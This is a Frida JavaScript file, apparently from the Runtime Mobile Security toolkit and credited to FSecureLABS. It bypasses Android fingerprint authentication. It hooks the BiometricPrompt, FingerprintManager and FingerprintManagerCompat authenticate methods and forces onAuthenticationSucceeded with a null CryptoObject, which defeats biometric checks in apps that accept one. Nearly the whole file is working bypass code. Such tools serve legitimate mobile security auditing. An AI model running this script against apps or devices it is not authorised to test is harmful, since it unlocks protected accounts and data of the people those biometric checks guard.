rms-runtime-mobile-security
Version:
Runtime Mobile Security (RMS), powered by FRIDA, is a powerful web interface that helps you to manipulate Android and iOS Apps at Runtime
172 lines (152 loc) • 9.15 kB
JavaScript
/****************************************************************************************************************************
* Name: Fingerprint Bypass
* OS: Android
* Author: FSecureLABS
* Source: https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js
* Info:
Bypass fingerprint authentication if the app accept NULL cryptoObject in onAuthenticationSucceeded(...).
This script should automatically bypass fingerprint when authenticate(...) method will be called.
*****************************************************************************************************************************/
send("Fingerprint hooks loaded!");
Java.perform(function () {
//Call in try catch as Biometric prompt is supported since api 28 (Android 9)
try { hookBiometricPrompt_authenticate(); }
catch (error) { send("hookBiometricPrompt_authenticate not supported on this android version") }
try { hookBiometricPrompt_authenticate2(); }
catch (error) { send("hookBiometricPrompt_authenticate not supported on this android version") }
try { hookFingerprintManagerCompat_authenticate(); }
catch (error) { send("hookFingerprintManagerCompat_authenticate failed"); }
try { hookFingerprintManager_authenticate(); }
catch (error) { send("hookFingerprintManager_authenticate failed"); }
});
var cipherList = [];
var StringCls = null;
Java.perform(function () {
StringCls = Java.use('java.lang.String');
});
function getAuthResult(resultObj, cryptoInst) {
try {
var authenticationResultInst = resultObj.$new(cryptoInst, null, 0);
} catch (error) {
try {
var authenticationResultInst = resultObj.$new(cryptoInst, null);
}
catch (error) {
var authenticationResultInst = resultObj.$new(cryptoInst);
}
}
send("cryptoInst:, " + cryptoInst + " class: " + cryptoInst.$className);
return authenticationResultInst;
}
function getBiometricPromptAuthResult() {
var sweet_cipher = null;
var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
var cryptoInst = cryptoObj.$new(sweet_cipher);
var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
var authenticationResultInst = getAuthResult(authenticationResultObj, cryptoInst);
return authenticationResultInst
}
function hookBiometricPrompt_authenticate() {
var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
send("Hooking BiometricPrompt.authenticate()...");
biometricPrompt.implementation = function (cancellationSignal, executor, callback) {
send("[BiometricPrompt.BiometricPrompt()]: cancellationSignal: " + cancellationSignal + ", executor: " + ", callback: " + callback);
var authenticationResultInst = getBiometricPromptAuthResult();
callback.onAuthenticationSucceeded(authenticationResultInst);
}
}
function hookBiometricPrompt_authenticate2() {
var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.hardware.biometrics.BiometricPrompt$CryptoObject', 'android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
send("Hooking BiometricPrompt.authenticate2()...");
biometricPrompt.implementation = function (crypto, cancellationSignal, executor, callback) {
send("[BiometricPrompt.BiometricPrompt2()]: crypto:" + crypto + ", cancellationSignal: " + cancellationSignal + ", executor: " + ", callback: " + callback);
var authenticationResultInst = getBiometricPromptAuthResult();
callback.onAuthenticationSucceeded(authenticationResultInst);
}
}
function hookFingerprintManagerCompat_authenticate() {
/*
void authenticate (FingerprintManagerCompat.CryptoObject crypto,
int flags,
CancellationSignal cancel,
FingerprintManagerCompat.AuthenticationCallback callback,
Handler handler)
*/
var fingerprintManagerCompat = null;
var cryptoObj = null;
var authenticationResultObj = null;
try {
fingerprintManagerCompat = Java.use('android.support.v4.hardware.fingerprint.FingerprintManagerCompat');
cryptoObj = Java.use('android.support.v4.hardware.fingerprint.FingerprintManagerCompat$CryptoObject');
authenticationResultObj = Java.use('android.support.v4.hardware.fingerprint.FingerprintManagerCompat$AuthenticationResult');
} catch (error) {
try {
fingerprintManagerCompat = Java.use('androidx.core.hardware.fingerprint.FingerprintManagerCompat');
cryptoObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManagerCompat$CryptoObject');
authenticationResultObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManagerCompat$AuthenticationResult');
}
catch (error) {
send("FingerprintManagerCompat class not found!");
return
}
}
send("Hooking FingerprintManagerCompat.authenticate()...");
var fingerprintManagerCompat_authenticate = fingerprintManagerCompat['authenticate'];
fingerprintManagerCompat_authenticate.implementation = function (crypto, flags, cancel, callback, handler) {
send("[FingerprintManagerCompat.authenticate()]: crypto: " + crypto + ", flags: " + flags + ", cancel:" + cancel + ", callback: " + callback + ", handler: " + handler);
//send(enumMethods(callback.$className));
callback['onAuthenticationFailed'].implementation = function () {
send("[onAuthenticationFailed()]:");
var sweet_cipher = null;
var cryptoInst = cryptoObj.$new(sweet_cipher);
var authenticationResultInst = getAuthResult(authenticationResultObj, cryptoInst);
callback.onAuthenticationSucceeded(authenticationResultInst);
}
return this.authenticate(crypto, flags, cancel, callback, handler);
}
}
function hookFingerprintManager_authenticate() {
/*
public void authenticate (FingerprintManager.CryptoObject crypto,
CancellationSignal cancel,
int flags,
FingerprintManager.AuthenticationCallback callback,
Handler handler)
Error: authenticate(): has more than one overload, use .overload(<signature>) to choose from:
.overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler')
.overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler', 'int')
*/
var fingerprintManager = null;
var cryptoObj = null;
var authenticationResultObj = null;
try {
fingerprintManager = Java.use('android.hardware.fingerprint.FingerprintManager');
cryptoObj = Java.use('android.hardware.fingerprint.FingerprintManager$CryptoObject');
authenticationResultObj = Java.use('android.hardware.fingerprint.FingerprintManager$AuthenticationResult');
} catch (error) {
try {
fingerprintManager = Java.use('androidx.core.hardware.fingerprint.FingerprintManager');
cryptoObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManager$CryptoObject');
authenticationResultObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManager$AuthenticationResult');
}
catch (error) {
send("FingerprintManager class not found!");
return
}
}
send("Hooking FingerprintManager.authenticate()...");
var fingerprintManager_authenticate = fingerprintManager['authenticate'].overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler');
fingerprintManager_authenticate.implementation = function (crypto, cancel, flags, callback, handler) {
send("[FingerprintManager.authenticate()]: crypto: " + crypto + ", flags: " + flags + ", cancel:" + cancel + ", callback: " + callback + ", handler: " + handler);
var sweet_cipher = null;
var cryptoInst = cryptoObj.$new(sweet_cipher);
var authenticationResultInst = getAuthResult(authenticationResultObj, cryptoInst);
callback.onAuthenticationSucceeded(authenticationResultInst);
return this.authenticate(crypto, cancel, flags, callback, handler);
}
}
function enumMethods(targetClass) {
var hook = Java.use(targetClass);
var ownMethods = hook.class.getDeclaredMethods();
return ownMethods;
}